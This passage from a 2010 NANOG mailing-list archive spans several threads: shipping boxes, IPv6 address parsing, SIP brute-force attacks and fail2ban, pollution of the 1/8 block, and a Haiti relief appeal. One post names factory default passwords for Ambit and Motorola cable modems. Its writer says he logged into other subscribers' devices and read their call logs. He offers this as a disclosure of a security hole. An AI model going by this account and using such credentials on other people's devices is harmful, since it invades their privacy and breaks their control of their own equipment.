gear. That being said, we've run out of 1U shipping boxes for cisco gear. I've searched the list archives, uline, as well as a few other shipping material websites and cannot find an acceptable shipping box with foam inserts. I would like a corrugated cardboard box with foam supports for shipping 1U cisco gear (3550s, 4948s, etc..) I was wondering if anyone has sourced a good shipping box? I apologize if this topic has been brought up before and my search didn't find the thread. Thanks, -a From akonkol at gmail.com Sat Feb 6 13:34:27 2010 From: akonkol at gmail.com (Andrew Konkol) Date: Sat, 6 Feb 2010 13:34:27 -0600 Subject: Small Network Equipment Shipping boxes In-Reply-To: <431535861-1265482676-cardhu_decombobulator_blackberry.rim.net-782382501-@bda083.bisx.prod.on.blackberry> References: <431535861-1265482676-cardhu_decombobulator_blackberry.rim.net-782382501-@bda083.bisx.prod.on.blackberry> Message-ID: <6c4112901002061134v7bb75bf5ye706b5b1463fac4b@mail.gmail.com> Gurus, Where I work we ship our own gear. That being said, we've run out of 1U shipping boxes for cisco gear. I've searched the list archives, uline, as well as a few other shipping material websites and cannot find an acceptable shipping box with foam inserts. I would like a corrugated cardboard box with foam supports for shipping 1U cisco gear (3550s, 4948s, etc..) I was wondering if anyone has sourced a good shipping box? I apologize if this topic has been brought up before and my search didn't find the thread. Thanks, -a From isabeldias1 at yahoo.com Sat Feb 6 15:07:29 2010 From: isabeldias1 at yahoo.com (isabel dias) Date: Sat, 6 Feb 2010 13:07:29 -0800 (PST) Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <20100206161501.15d23075@opy.nosense.org> Message-ID: <309234.96328.qm@web52604.mail.re2.yahoo.com> Big Brother is watching you! so last year! True, but the lawfull intercept has been around for a while, active/passive flow tap monitoring, port mirroring , called ID spoofing .......i also saw an update on the IOS/Junos roadmpap not that long ago. the 7600 has been around for a while now and so the code that comes w/ that feature available ......... lets not generate more data traffic than this .......as in case of infringement all data is recorded, stored, used as evidence and brought to our attention by the home "team", so we know in advance .....:-) snmp v3 has been around for a gd while ....... --- On Sat, 2/6/10, Mark Smith wrote: > From: Mark Smith > Subject: Re: lawful intercept/IOS at BlackHat DC, bypassing and recommendations > To: "Jorge Amodio" > Cc: "NANOG" > Date: Saturday, February 6, 2010, 6:45 AM > On Thu, 4 Feb 2010 16:47:47 -0600 > Jorge Amodio > wrote: > > > I'm totally ignorant (most of the time), is anybody > actually using SNMPv3 ? > > > > I worked with an IPsec VPN product around 10 years ago that > used SNMPv3 > for automated provisioning of the tunnels. > > > Regards > > > > From wavetossed at googlemail.com Sat Feb 6 16:01:42 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Sat, 6 Feb 2010 22:01:42 +0000 Subject: fiber plant management? In-Reply-To: References: Message-ID: <877585b01002061401u5493b0d1p9fe7e4b1b7942bd7@mail.gmail.com> On Fri, Feb 5, 2010 at 5:38 AM, Martin Hannigan wrote: > Honestly? A spreadsheet will do it. Let me translate that into plain English for you. He said that a "barebones database" will do it and he happens to use a simple one that he built himself. Clearly there are scaling issues with his technology choice, but other than that, his solution is probably the most common one you will find out there. Most ISPs use a straightforward database (usually a full-blown relational one) and build their own application around it. A company that I worked at 10 years ago built a system around a CRM tool called Vantive. At first glance, CRM tools are not the kind of thing you would normally choose for tracking circuits and physical plant. But since this CRM tool allowed customization with VBA, and since VBA allowed access to full-blown relational databases, we ended up with a very nice tool that not only tracked circuits, fibres, etc. but also allowed us to link it all to customers so if there was a specific fibre route cut, we could immediately get a list of contact names and numbers for all customers whose services were affected. My advice is to find out what in-house database skills you have available, and get them to build a simple records system using Oracle, PostreSQL, DB2, SQL Server or similar, and to make sure that they understand that the intent is to evolve it step by step into a full-blown system. This last is important so that they think about how to make a long-term design and make fewer mistakes that need to be fixed later. --Michael Dillon From Richard.E.Brown at DARTWARE.COM Sat Feb 6 16:16:54 2010 From: Richard.E.Brown at DARTWARE.COM (Richard E. Brown) Date: 06 Feb 2010 17:16:54 -0500 Subject: Regular Expression for IPv6 addresses Message-ID: <4914890@blitz.dartware.com> Folks, Thanks for all the comments on the IPv6 regex... ----- > Jeroen Massar wrote: > > The only proper way of "testing" if an address is a valid IPv6 address > is to feed it to getaddrinfo() and then use it through that API. Good point. One of the reasons to do this was for environments where getaddrinfo() might not be availble. (For example, in a Javascript - see the page on the InterMapper site: http://intermapper.com/ipv6validator ) > Of course, there should be only limited places where a user can enter or > see IP addresses in the first place. There is this great thing called > DNS which is what most people should be using. Another good point. But look at Seiichi's note (below)... ----- > Seiichi Kawamura also> wrote: > This might be of some interest to you. > > http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04 We believe this correctly recognizes all the cases specified by RFC4291. But it's a great idea to update the Javascript page above to reformat to this recommendation. ----- > Carsten Bormann > > I was looking at this regexp for my Ruby course as a great example of "how not > to use Regexps". > > But thank you for this textbook example! > And, of course, an error did creep in. You're quite welcome! :-) But seriously... Do you have an example of an address that causes the RE to fail? > If you really need an RE, the right approach here is to write a small program >to > generate the RE. Absolutely. The Perl program cited includes code much like your example. Rich Brown richard.e.brown at dartware.com Dartware, LLC http://www.dartware.com 66-7 Benning Street Telephone: 603-643-9600 West Lebanon, NH 03784-3407 Fax: 603-643-2289 PS Dartware is sponsoring a table displaying our InterMapper network monitoring software at the NANOG48 Beer 'n Gear. Please come by to introduce yourself and take a look... From jmamodio at gmail.com Sat Feb 6 16:27:09 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 6 Feb 2010 16:27:09 -0600 Subject: Insecure Cable networks ? In-Reply-To: <6553866F-EBF4-4DAC-811B-469C7E735FFF@suspicious.org> References: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> <6553866F-EBF4-4DAC-811B-469C7E735FFF@suspicious.org> Message-ID: <202705b1002061427j18c8fd05s39b2837b1e6db729@mail.gmail.com> > Yes ?this is a huge security hole. Management networks should always be > restricted to some extent and the fact that default passwords allow you into > VoIP gateways provides an avenue for call fraud. At a very minimum the > devices should restrict which addresses can talk to them (ie. management > servers in the MSO) and passwords should be non-default. If I were them or involved in the operation of their network I should start with an audit. Obviously I didn't change or tried to change anything, the few cases I tried to gain access to some randomly selected devices/locations were just to confirm that imho there is a big exposure here. For example, I found devices such as an integrated modem and wireless router where if I wanted I would have been able to enable WiFi guest access or change the existing WiFi configuration such as SSID, keys, etc. Some modems don't seem to provide access via port 80, I didn't scan for any other potential ports or back doors (such as SNMP ports,etc), they simple show the message "Access to this web page is currently unavailable.". The most popular/used device, just for the number of times I've got the same interface for the few (less than a 100) IP I tried seems to be the Ambit modem, the main page shows sort of general modem information, something like: Cable Modem Information Cable Modem : DOCSIS 1.0/1.1/2.0 Compliant MAC Address : 00:1F:XX:XX:XX:XX Serial Number : REMOVED Boot Code Version : 2.1.6d Software Version : 2.105.1008 Hardware Version : 1.20 CA Key : Installed Gaining access to the modem is quite simple, on the left there is a frame that has a Login link and says "Factory default username/password is"user" ", which actually worked on all the ones I found and tried, on the right hand corner there are two links one that says Modem and other that says Tools, if I click on Tools I see at least two options, one that takes me to a form page to change the password, and the other one to change the Frequency Scanning Plan. Again I didn't try to change anything to confirm that it is actually possible but I've the hunch that it is possible. Another case could be integrated modem/router with VoIP features such as Motorola's SurfBoard, the standard management interface without even login in to the thing provides plenty of information, don't know how useful but, there is a link that says "Advanced" which requires you to enter a password, don't waste much of your brain, the password is simply "motorola", with that you get access to more information including MGCP Logs, I didn't analyze the logs in detail but it didn't take much effort to find out that a guy was being called by a collection department of Wells Fargo Bank from an Oregon (503) number. In another case I saw a log entry that could be interpreted as a dialed out number. In summary, I don't believe that any customer should have access to any other customer device in such a way that you can alter the provisioning of a service or snoop and see how the service is being used, this raises not only security but privacy concerns. I didn't use any scripts or tried any heavy tools or hacking, mine is a very minuscule sample of what seems to be a widespread bad practice or mismanaged network configuration. Ryan thanks for your message, I checked and saw that you work for TWC in the Albany area, but no offense, I've no problems to share more details and cooperate, only if being contacted by a "grownup" honcho in charge of networking/security. I promise, I won't break anything ... Cheers Jorge From mysidia at gmail.com Sat Feb 6 16:52:33 2010 From: mysidia at gmail.com (James Hess) Date: Sat, 6 Feb 2010 16:52:33 -0600 Subject: Regular Expression for IPv6 addresses In-Reply-To: <20100205.071511.74727694.sthaug@nethelp.no> References: <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> <4B6B7185.2080708@spaghetti.zurich.ibm.com> <20100205.071511.74727694.sthaug@nethelp.no> Message-ID: <6eb799ab1002061452s51f9cf61p303d36130291301@mail.gmail.com> On Fri, Feb 5, 2010 at 12:15 AM, wrote: >> > And now for the trick question. ?Is ::ffff:077.077.077.077 a legal >> > mapped address and if it, does it match 077.077.077.077? Wasn't there an internet draft on that subject, recently? http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04 077.077.077.077 is equivalent to 77.77.77.77 if valid at all RFC 4038 is very clear that the text representation of a mapped IPv4 address is Base 10. http://tools.ietf.org/html/rfc4038#section-5.1 This is a bit like asking if "::ffff:10.1.2" is a valid IP address though. And is it the same as the ip address "10.1.2" ? (Which of course expands to 10.1.0.2, on common implementations of inet_pton, inet_aton, and getaddrinfo) Or ::ffff:0xA010002 I would say these are perfectly valid _shorthands_ and abbreviations for entering an IP address, which may be provided by some systems, but that they are non-canonical text representations for displaying publishing or sharing IP addresses. -- -J From marka at isc.org Sat Feb 6 18:43:15 2010 From: marka at isc.org (Mark Andrews) Date: Sun, 07 Feb 2010 11:43:15 +1100 Subject: Regular Expression for IPv6 addresses In-Reply-To: Your message of "Sat, 06 Feb 2010 16:52:33 MDT." <6eb799ab1002061452s51f9cf61p303d36130291301@mail.gmail.com> References: <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> <4B6B7185.2080708@spaghetti.zurich.ibm.com> <20100205.071511.74727694.sthaug@nethelp.no> <6eb799ab1002061452s51f9cf61p303d36130291301@mail.gmail.com> Message-ID: <201002070043.o170hFR1087828@drugs.dv.isc.org> In message <6eb799ab1002061452s51f9cf61p303d36130291301 at mail.gmail.com>, James Hess writes: > On Fri, Feb 5, 2010 at 12:15 AM, wrote: > >> > And now for the trick question. =A0Is ::ffff:077.077.077.077 a legal > >> > mapped address and if it, does it match 077.077.077.077? > > Wasn't there an internet draft on that subject, recently? > http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04 > > 077.077.077.077 is equivalent to 77.77.77.77 if valid at all > RFC 4038 is very clear that the text representation of a mapped IPv4 > address is Base 10. http://tools.ietf.org/html/rfc4038#section-5.1 But 077.077.077.077 is octal dotted quad. Decimal dotted quad does *not* have leading zeros. The point of allowing for dotted quad is to allow for easy mapping between IPv4 representation and IPv6 with encoded IPv4 representations. Accepting a octal representation as decimal is a bad thing and leads to none obvious failures. % ping 077.077.077.077 PING 077.077.077.077 (63.63.63.63): 56 data bytes ^C --- 077.077.077.077 ping statistics --- 4 packets transmitted, 0 packets received, 100% packet loss % "ping ::ffff:077.077.077.077" would not get to same box if my ping accepted that as a address literal which luckily it doesn't. > This is a bit like asking if "::ffff:10.1.2" is a valid IP > address though. Except it clearly isn't as there are not 4 components. > And is it the same as the ip address "10.1.2" ? > (Which of course expands to 10.1.0.2, on common implementations of > inet_pton, inet_aton, and getaddrinfo) Or ::ffff:0xA010002 inet_pton() did not accept 10.1.2 when it was originally written. This was a *deliberate* decision. Some vendors have changed it to accept it but they are wrong. I can say that because I was involved in making that decision. > I would say these are perfectly valid _shorthands_ and > abbreviations for entering an IP address, which may be provided by > some systems, but that they are non-canonical text representations > for displaying publishing or sharing IP addresses. > -- > -J > -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From jtodd at loligo.com Sat Feb 6 19:11:05 2010 From: jtodd at loligo.com (John Todd) Date: Sat, 6 Feb 2010 17:11:05 -0800 Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: On Feb 5, 2010, at 1:27 PM, Scott Howard wrote: > On Fri, Feb 5, 2010 at 9:45 AM, David Birnbaum > wrote: >> We have noticed a lot of issues with Asterisk 1.2 and some 1.4 >> rollouts. >> FreePBX had some truck-sized holes in it. > > Most/all of the big issues that existed in previous version of > Asterisk/FreePBX have been resolved in later releases. > > The majority of the "stolen SIP" cases I've heard of have come down to > brute forcing of often very insecure passwords - quite often stupid > insecure passwords like the same as the username. And of course the > username itself is normally the extension, which makes is relatively > easy to guess (if "100" doesn't exist, then "200" or "1000" probably > does, etc). > > Then there's the issue of unencrypted/unsecured phone provisioning > files, complete with SIP usernames/passwords, hosted on internet > webservers - often with the only security being your ability to guess > the MAC address... > >> On our relatively small client base, we are seing SIP probing on >> more or >> less a non-stop basis, and some of our customers have been hacked >> over the > > Presuming you're running Asterisk, fail2ban can help. The only real > issue I've had with it is that many softphones will repeated try to > register if you get the password wrong, so a user entering their > username/password even only once will get them blocked for X minutes. > > Scott I'll second Scott's comments, and add a few. SIP servers aren't much good unless they're "wide open", if you're serving to a large number of diverse users whose networks you do not control with a VPN or a customized client. This invites probing to determine identity choice weakness. It seems that new SIP servers are discovered within about 5 days of being put up without filtering, at least looking at my logs. The most commonly-available toolset for such attacks seems to have moved SIP attacks into script-kiddie land about a year and a half ago. The tool has three functions: scan for SIP servers (UDP 5060), identify SIP identities via login failure or other error message information leakage, and lastly guess passwords in brute-force manners on those identified SIP extensions. The attacks seem to be geographically diverse - I've seen originations both in North America as well as non-NA origins, though the ultimate origin is often a mystery due to compromised servers being used for probe sweeps. The attacks also seem to have a variety of purposes. The four that I've most commonly seen are: 1) Experimenting, "joy riders". 2) Attacking to obtain free international long distance 3) Attacking to obtain access into the PBX network with fraudulent identity to perform fraudulent internal activity ("This is Bob from accounting...") 4) Attacking to create large numbers of domestic calls for phishing scams ("This is your bank. Please enter your credit card number now.") Of these, #4 seems to be the only one that gets significant attention of LEA resources. I wrote some notes for security basics on this a while back as it pertains to Asterisk in particular, but the problem remains with some very old installations that accept inbound calls into the default Asterisk context (which is not a "bug", but really a configuration error) or it crops up anew with administrators who do not adequately create sufficiently random SIP identities and passwords. Asterisk is fairly robust against such attacks, but often the flexibility of a complex system allows administrators to inadvertently expose themselves in ways they wouldn't ordinarily think about. More here: http://blogs.digium.com/2009/03/28/sip-security/ As far as network impacts: some of these probes are fairly significant in bandwidth consumption (3-5 mbps, from what I've seen) and may cause problems with whatever your SIP authentication method is due to the volume of requests. A distributed attack at higher volumes has less chance of success because most SIP platforms do not have the ability to respond to high volumes of requests anyway. Fail2Ban can be implemented on most SIP platforms at the application level, and works quite well against most probe methods. I can't even comment on the issue of unencrypted/unauthenticated provisioning servers. If you're provisioning in an unauthenticated way across the "big" internet, then... well, you takes yer chances. Lastly: SIP is very flexible in handling alternate ports for communications in URIs or other pointers, though I have never seen a SIP server using anything other than 5060/5061. Perhaps related, I've never seen a suspicious system probing on 5060 looking at any other ports. Maybe changing ports would siipmly solve problems pretty quickly for people seeing attacks who have some ability to influence/ configure their end devices or trunking peers. (At least, for a little while. Remember: when chased by a bear, you just need to be faster than the guy behind you.) JT From herb at tomobiki.urusei.net Sun Feb 7 04:15:53 2010 From: herb at tomobiki.urusei.net (Herb Leong) Date: Sun, 7 Feb 2010 02:15:53 -0800 (PST) Subject: Small Network Equipment Shipping boxes In-Reply-To: <6c4112901002061134v7bb75bf5ye706b5b1463fac4b@mail.gmail.com> Message-ID: <201002071015.o17AFsb7017307@tomobiki.urusei.net> Andrew Konkol wrote: # # Gurus, # # Where I work we ship our own gear. # That being said, we've run out of 1U shipping boxes for cisco gear. # # I've searched the list archives, uline, as well as a few other # shipping material websites and cannot find an acceptable shipping box # with foam inserts. # I would like a corrugated cardboard box with foam supports for # shipping 1U cisco gear (3550s, 4948s, etc..) # I was wondering if anyone has sourced a good shipping box? # # I apologize if this topic has been brought up before and my search # didn't find the thread. # # # Thanks, # -a Hi, If your company has a presence in a 3rd party data center, you may want to give the loading dock/trash pile at the data center a look for discarded boxes. Does it have to have foam inserts? I've used whatever box was available from wherever and wrapped enough bubble wrap around the 1U to make it snug in the box. If worse comes to worse, you could always ask (and pay) cisco for a shipping kit. I know they offer shipping kits for larger devices and it stands to reason they would sell kits for 1U devices. /herb From petri at helenius.fi Sun Feb 7 04:34:56 2010 From: petri at helenius.fi (Petri Helenius) Date: Sun, 7 Feb 2010 12:34:56 +0200 Subject: How polluted is 1/8? In-Reply-To: <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> References: <4B699AEC.8080505@ripe.net> <4B6B1178.30107@kl.net> <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> Message-ID: <524A547A-5766-48FE-B502-BBCED81E3200@helenius.fi> Hi, We would also be happy to sink the traffic and provide captures and statistics for general consumption. Pete On Feb 4, 2010, at 9:30 PM, Jared Mauch wrote: > > On Feb 4, 2010, at 1:27 PM, Kevin Loch wrote: > >> Mirjam Kuehne wrote: >>> Hello, >>> After 1/8 was allocated to APNIC last week, the RIPE NCC did some measurements to find out how "polluted" this block really is. >>> See some surprising results on RIPE Labs: http://labs.ripe.net/content/pollution-18 >>> Please also note the call for feedback at the bottom of the article. >> >> The most surprising thing in that report was that someone has an AMS-IX >> port at just 10 megs. It would be nice to see an actual measurement of >> the traffic and daily/weekly changes. A breakdown of the flow data by >> source ASN and source prefix (for the top 50-100 sources) would also be >> interesting. > > There was a call on the apnic list for someone to sink some of the traffic. > > I'd like to see someone capture the data and post pcaps/netflow analysis, and possibly just run a http server on that /24 so people can test if their network is broken. > > I've taken a peek at the traffic, and I don't think it's 100's of megs, but without a global view who knows. > > - Jared > From joelja at bogus.com Sun Feb 7 08:10:08 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 07 Feb 2010 06:10:08 -0800 Subject: Small Network Equipment Shipping boxes In-Reply-To: <6c4112901002061134v7bb75bf5ye706b5b1463fac4b@mail.gmail.com> References: <431535861-1265482676-cardhu_decombobulator_blackberry.rim.net-782382501-@bda083.bisx.prod.on.blackberry> <6c4112901002061134v7bb75bf5ye706b5b1463fac4b@mail.gmail.com> Message-ID: <4B6EC9C0.70907@bogus.com> For stuff where the boxes were expected to go both directions, there are anvil flight cases in appropiate sizes which I've used with great success. These days I having been using pelican cases, either 1560 1630 or 1650 depending on size. Andrew Konkol wrote: > Gurus, > > Where I work we ship our own gear. > That being said, we've run out of 1U shipping boxes for cisco gear. > > I've searched the list archives, uline, as well as a few other > shipping material websites and cannot find an acceptable shipping box > with foam inserts. > I would like a corrugated cardboard box with foam supports for > shipping 1U cisco gear (3550s, 4948s, etc..) > I was wondering if anyone has sourced a good shipping box? > > I apologize if this topic has been brought up before and my search > didn't find the thread. > > > Thanks, > -a > From bmanning at vacation.karoshi.com Sun Feb 7 08:19:17 2010 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sun, 7 Feb 2010 14:19:17 +0000 Subject: Small Network Equipment Shipping boxes In-Reply-To: <4B6EC9C0.70907@bogus.com> References: <431535861-1265482676-cardhu_decombobulator_blackberry.rim.net-782382501-@bda083.bisx.prod.on.blackberry> <6c4112901002061134v7bb75bf5ye706b5b1463fac4b@mail.gmail.com> <4B6EC9C0.70907@bogus.com> Message-ID: <20100207141917.GA21111@vacation.karoshi.com.> +1 for pelican... been uing their stuff for years. --bill On Sun, Feb 07, 2010 at 06:10:08AM -0800, Joel Jaeggli wrote: > For stuff where the boxes were expected to go both directions, there are > anvil flight cases in appropiate sizes which I've used with great > success. These days I having been using pelican cases, either 1560 1630 > or 1650 depending on size. > > Andrew Konkol wrote: > > Gurus, > > > > Where I work we ship our own gear. > > That being said, we've run out of 1U shipping boxes for cisco gear. > > > > I've searched the list archives, uline, as well as a few other > > shipping material websites and cannot find an acceptable shipping box > > with foam inserts. > > I would like a corrugated cardboard box with foam supports for > > shipping 1U cisco gear (3550s, 4948s, etc..) > > I was wondering if anyone has sourced a good shipping box? > > > > I apologize if this topic has been brought up before and my search > > didn't find the thread. > > > > > > Thanks, > > -a > > From up at 3.am Sun Feb 7 18:23:37 2010 From: up at 3.am (James Smallacombe) Date: Sun, 7 Feb 2010 19:23:37 -0500 (EST) Subject: Western Canada major outage last night? Message-ID: I rent a server with eSecureData in Vancouver. Their network became unreachable yesterday evening around 7:37 EST. They didn't come back online until about noon today, and have given this explanation on their voicemaik during the outage and via email afterward:: ---- STATUS REPORT There has been an unprecedented breakage in upstream fibre optic cables owned by Bell Canada that has caused a network interruption to all of Western Canada. We assure you that Bell has the full force of their network operations department on this issue, and we expect resolution of this issue shortly ---- I've not found any indication of this on bellcanada.ca or any news sites, and this list has been quiet on al things Canadian (I'm in PA, but my server's there). Can anyone verify or elaborate on this? Thanks, James Smallacombe PlantageNet, Inc. CEO and Janitor up at 3.am http://3.am ========================================================================= From james at freedomnet.co.nz Mon Feb 8 10:31:01 2010 From: james at freedomnet.co.nz (James Jones) Date: Mon, 08 Feb 2010 11:31:01 -0500 Subject: NANOG newbie Message-ID: <4B703C45.1030008@freedomnet.co.nz> Greetings, Hi, I have just recently returned to the United States from New Zealand. I have spent a bit of time down their working as a network designer for ALU and was a member of NZNOG. The infrastructure demands and designs are completely different here in U.S. I am currently working for a VoIP company in Springfield, MA. I was wondering if their might be someone in the area that might be able to help me get my bearings and might be able to give some insight into the BMI project in the area offlist? Thanks for your time. -- James Jones +1-413-667-9199 james at freedomnet.co.nz From brunner at nic-naa.net Mon Feb 8 08:54:51 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Mon, 08 Feb 2010 09:54:51 -0500 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkHRlY2huaWM=?= =?UTF-8?B?aWFu4oCQb3LigJBmYWNpbGl0eQ==?= Message-ID: <4B7025BB.7080600@nic-naa.net> All, Attached is a project description by Reynold Guerrier, Network Engineer and Treasurer of the Association Ha?tienne pour le d?veloppement des technologies de l?Information et de la Communication (AHTIC). I know many have helped and many have offered to help, and kit and people have been sent, and are continuing to be sent, however there is an unmet need, the continuation of the "fuel, food, families" trio that kept the Boutilliers NAP powered and its surviving technical team intact. And the most effective aid is cash, which enables the recipients to prioritize according to their needs, and the bulk purchases of aid recipients proximal to them. The budget and resources for this project is as follows: o $100,000 for salaries to support technicians and their family to get them back on track o 5 content production units o Production software o Management software o 10 data center in a box The data centers in a box resource was identified by Reynold on the 19th, a week after the quake, when he wrote to NANOG: > We would like to provide to the haitian government a UC systems with several branches: > > o President office: 10 endpoints > o Prime Minister office: 10 endpoints > o 12 mayor city hall offices: 3 for each: 36 endpoints > o Ministries (9 differents locations 3 for each): 27 endpoints > o Communications Center: 20 endpoints > o emergency Clusters: 14 ednpoints > > Total: 117 endpoints > > So if someone can provide recommendations, equipment, skilled technician for that it would be fine. There is wire transfer information in the attached pdf, and if anyone finds that cumbersome drop me a note and we'll work something out. Yes, there are a lot of aid dollars going to Haiti, but dollars given to AHTIC will go specifically to re-build the network infrastructure and keep the families of the surviving engineers and technicians fed and their basic needs met. Thanks in advance, Eric From james at freedomnet.co.nz Mon Feb 8 10:39:10 2010 From: james at freedomnet.co.nz (James Jones) Date: Mon, 08 Feb 2010 11:39:10 -0500 Subject: NANOG newbie In-Reply-To: <4B703C45.1030008@freedomnet.co.nz> References: <4B703C45.1030008@freedomnet.co.nz> Message-ID: <4B703E2E.6010208@freedomnet.co.nz> Sorry I meant MBI project not BMI. On 2/8/10 11:31 AM, James Jones wrote: > Greetings, > > Hi, I have just recently returned to the United States from New > Zealand. I have spent a bit of time down their working as a network > designer for ALU and was a member of NZNOG. The infrastructure demands > and designs are completely different here in U.S. I am currently > working for a VoIP company in Springfield, MA. I was wondering if > their might be someone in the area that might be able to help me get > my bearings and might be able to give some insight into the BMI > project in the area offlist? Thanks for your time. > From hiersd at gmail.com Mon Feb 8 11:20:46 2010 From: hiersd at gmail.com (David Hiers) Date: Mon, 8 Feb 2010 09:20:46 -0800 Subject: NANOG newbie In-Reply-To: <4B703E2E.6010208@freedomnet.co.nz> References: <4B703C45.1030008@freedomnet.co.nz> <4B703E2E.6010208@freedomnet.co.nz> Message-ID: <2873f3701002080920j4f86dd31h16fd70b552692985@mail.gmail.com> VOIP, huh? Check out: www.voiceops.org David On Mon, Feb 8, 2010 at 8:39 AM, James Jones wrote: > Sorry I meant MBI project not BMI. > > On 2/8/10 11:31 AM, James Jones wrote: >> >> Greetings, >> >> ? ?Hi, I have just recently returned to the United States from New >> Zealand. I have spent a bit of time down their working as a network designer >> for ALU and was a member of NZNOG. The infrastructure demands and designs >> are completely different here in U.S. I am currently working for a VoIP >> company in Springfield, MA. I was wondering if their might be someone in the >> area that might be able to help me get my bearings and might be able to give >> some insight into the BMI project in the area offlist? Thanks for your time. >> > > From brunner at nic-naa.net Mon Feb 8 11:29:29 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Mon, 08 Feb 2010 12:29:29 -0500 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkHRlY2g=?= =?UTF-8?B?bmljaWFu4oCQb3LigJBmYWNpbGl0eQ==?= In-Reply-To: <4B7025BB.7080600@nic-naa.net> References: <4B7025BB.7080600@nic-naa.net> Message-ID: <4B7049F9.1080601@nic-naa.net> Arg! The attachment died the death of "132485 bytes with a limit of 100 KB". Oh well, it could have been the line eater bug in a USENET post. I posted an HTML version here: http://wampum.wabanaki.net/vault/2010/02/005491.html Cutting and Pasting (a high tech skill) yeilds: Project Title: Adopt-an-Haitian-Internet-technician-or-facility Project Description: The project aims to collect money and telecom gear to provide mid-term financial aid to IT technicians that have been affected with their families during the January 12, 2010 earthquake. Money, telecoms gears, time, software, etc will serve to setup technology community centers to support schools, universities, vocational centers that have collapsed. Begin Date February 2010 End Date August 2010 The Context: On the January 12, 2010, Haiti one of the poorest country in the world is hurt by a 7.3 Earthquake that caused major damage to Port-au-Prince, Jacmel, Leogane and other settlements around. Many notable landmark buildings were significantly damaged or destroyed, including schools, universities, vocational schools even the Port-au-Prince Cathedral, and the main jail. Among those killed are a lot of technicians, students, teachers. Many countries responded to appeals for humanitarian aid, pledging funds and dispatching rescue and medical teams, engineers and support personnel. Communication systems, air, land, and sea transport facilities, hospitals, schools, universities, and electrical networks had been damaged by the earthquake, which hampered rescue and aid efforts; confusion over who was in charge, air traffic congestion, and problems with prioritization of flights further complicated early relief work. As rescues tailed off, supplies, medical care and sanitation become priorities. Among them we also need to address education on a mid term run. With a lot of destroyed schools and dead teachers e-learning can be a good way to overcome this problem. Deliverables and criteria for close-out The projects has 2 majors deliverables: 1. Providing financial support to at least 50 technicians whose houses have been destroyed during the seism. The idea is getting them a job so they don?t have to worry about their family basic needs and keeping them on their workplace 2. Setup mobile IT community centers to provide IT services to schools and universities. 3. Contents production for e-learning The project boundaries: This project aims to provide technical support to teachers helping them putting their courses online or on DVD and make it available for remote schools or schools whose teachers have been killed during the quake. Data Center in a box will facilitate access to those courses by the students. Project will be conducted in joint venture with the Ministry of Education that will define the priority based on must affected area and teacher availability. The main risks: The main risk of this project is not having enough funds to address all the needs in supporting the schools in producing online courses because it?s a well-known fact that in schools in Haiti adopted their own curriculum ignoring sometimes the official one. The second concern Stakeholders: Client(sponsor): Ministry of Education Project Manager: Reynold Guerrier Project Team: Reynold Guerrier, Max Larson Henry, Steering committee: Reynold Guerrier, St?phane Bruno, Sergey Gaillard, Roque Gagliano, Max Larson Henry Other Stakeholders: Local ISP, LACNIC, ISOC, IDB Budget and resources: ($, people, equipment, facilities, software, etc.) * 100,000.00 USD for salaries to support technicians and their family to get them back on track * 5 contents production units * Production software * Management software * 10 data center in a box Milestones Date Key deliverables Feb-March 2010: Financial support to technicians and families March 2010: Data center in a box March-August 2010: Implementation period Bank Account Info: Bank: SOGEBANK Bank Address : Route de Delmas, Delmas 29, Port-au-Prince, HAITI Account Number: 130212988 Swift code : SOGHHTPP Beneficiary : Association Ha?tienne pour le D?veloppement des Technologies de l?Information et de la Communication Beneficiary Address: 18, rue Moise, P?tion-Ville, HAITI People interesting in working in Haiti can send me a skills and availability statement too, but what is needed soonest is a budget that can be applied to existing backfill cash needs passed through the AHTIC. Thanks and a tip o' the hat to Bill McCall who appraised me of the truncation. Eric From reygue at gmail.com Mon Feb 8 11:43:00 2010 From: reygue at gmail.com (Reynold Guerrier) Date: Mon, 8 Feb 2010 12:43:00 -0500 Subject: =?UTF-8?B?UmU6IEFkb3B04oCQYW7igJBIYWl0aWFu4oCQSW50ZXJuZXTigJB0ZWNobmljaWFu4oCQbw==?= =?UTF-8?B?cuKAkGZhY2lsaXR5?= In-Reply-To: <4B7049F9.1080601@nic-naa.net> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> Message-ID: <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> Thanks Eric for support this project. To all of you who want to donate, donations can be sent to directly to AHTIC account: *Please find below the AHTIC bank account information so you can proceed with the money transfer. Please confirm this is the same information you have since the beginning. * * * *Bank account: *SOGEBANK *Bank Address : *Route de Delmas, Delmas 29, Port-au-Prince, HAITI *Account Number: *130212988 ** *Swift code : *SOGHHTPP *Beneficiary : *Association Ha?tienne pour le D?veloppement des Technologies de l?Information et de la Communication *Beneficiary Address: *18, rue Moise, P?tion-Ville, HAITI For Telecom gears (like routers, servers, software and programing time, etc..) please contact Reynold Guerrier directly reygue at gmail.com, 509-3446-0099. Regards Reynold On Mon, Feb 8, 2010 at 12:29 PM, Eric Brunner-Williams wrote: > Arg! The attachment died the death of "132485 bytes with a limit of 100 > KB". Oh well, it could have been the line eater bug in a USENET post. > > I posted an HTML version here: > http://wampum.wabanaki.net/vault/2010/02/005491.html > > Cutting and Pasting (a high tech 